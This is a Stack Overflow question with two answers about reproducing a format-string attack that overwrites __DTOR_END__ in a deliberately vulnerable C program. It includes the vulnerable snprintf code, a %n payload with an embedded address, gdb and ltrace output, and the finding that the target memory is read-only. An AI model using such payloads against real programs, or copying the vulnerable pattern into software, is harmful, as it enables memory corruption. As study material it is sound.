Format String Attack - Overwrite __DTOR_END__

0

I am trying to repeat the attack discussed at this link, but I am not able to succeed. The goal is to overwite the value at the symbol __DTOR_END__ via format string vulnerability.

The following is what I tried. The vulnerable program:

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {
    char buf[512];
    if (argc < 2) { printf("%s\n","Failed"); return 1; }
    snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
    buf[sizeof (buf) - 1] = '\x00';
    return 0;
}

Step 1:

$ gcc fmt.c -o fmt_g -g

Step 2:

$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560  <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20)                        = 13
+++ exited (status 0) +++
$

This shows that hex 0x41 corresponding to A prints after 9 %x.

Step 3:

$ nm fmt_g | grep DTOR
  08049f20 D __DTOR_END__
  08049f1c d __DTOR_LIST__
$ 

The address for __ DTOR_END__ is 0x08049f20.

Step 4:

$ gdb fmt_g
(gdb) disas main
      ...
      0x080484bb <+87>: call   0x80483a0 <snprintf@plt>
      ...
(gdb) (gdb) break *main+87
      Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s

      Program received signal SIGSEGV, Segmentation fault.
      0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) 

I get SIGSEGV. I am trying this on a Linux box, which is little endian. Out of curiosity I tried to use the address in opposite way:

(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g  $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s
      8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) 

I don't know what I'm doing wrong. My thought is that I am not using the address for __ DTOR_END__ correctly. Can someone provide some hint ?

c
linux
printf
format-string
asked on Stack Overflow Apr 7, 2016 by Jake

2 Answers

1

The problem is actually very simple: your shell is interpreting the output from printf. \x20 is a space character, so in the first example your shell basically strips off the space and passes \x9f\x04\x08AAAA%x%x... which crashes (by trying to write to address 0x4108049f). In the second example, you end up passing two arguments, \x08\x04\x9f and AAAA%x%x...; the first argument doesn't do anything interesting so there's no crash.

To fix, just enclose the whole argument in quotes: r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n". In the future, here are a few debugging tips to keep in mind (that I've used frequently):

  • Always check why the program crashed. disas (or, if necessary, x/i $pc) will tell you the crashing instruction, and info reg will show you the registers; together, this will tell you precisely what the program was trying to do when it crashed. For example, in the first case you should see that a mov instruction is trying to write to a memory address defined by some register, and that the register is set to 0x4108049f.
  • Check your inputs. It's a pretty quick check to p argv[1] to make sure you're getting the right input passed in. Often times it's easy to overlook an embedded whitespace, NUL or high-ASCII character that causes an input routine to terminate early.
answered on Stack Overflow Apr 7, 2016 by nneonneo
0

Based on @nneonneo's answer, I tried the following:

(gdb) b *main+87
Breakpoint 1 at 0x80484bb: file fmt2.c, line 11.
(gdb) r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Starting program: fmt2_g "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"

Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt2.c:11
11      snprintf(buf, sizeof(buf), argv[1]);
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) info reg
eax            0x8049f20    134520608
ecx            0xbffff0fc   -1073745668
edx            0xb7e64c1a   -1209644006
ebx            0xb7fc4ff4   -1208201228
esp            0xbfffe9c0   0xbfffe9c0
ebp            0xbfffef78   0xbfffef78
esi            0xbfffefb0   -1073746000
edi            0x34 52
eip            0xb7e66bcd   0xb7e66bcd <vfprintf+16669>
eflags         0x210296 [ PF AF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/i $pc
=> 0xb7e66bcd <vfprintf+16669>: mov    %edi,(%eax)
(gdb)

The mov operation to 0x08049f20 causes SIGSEGV. I checked the proc's memory mapping:

 (gdb) info proc
 process 6303

 root@pc:/proc/6303# cat maps
 08048000-08049000 r-xp 00000000 08:01 1720261  fmt2_g
 08049000-0804a000 r--p 00000000 08:01 1720261  fmt2_g
 0804a000-0804b000 rw-p 00001000 08:01 1720261  fmt2_g

The address 08049f20 is not writable. I think this is why SIGSEGV occurs.

I don't know if it can be mapped as writable or not.

answered on Stack Overflow Apr 8, 2016 by Jake

User contributions licensed under CC BY-SA 3.0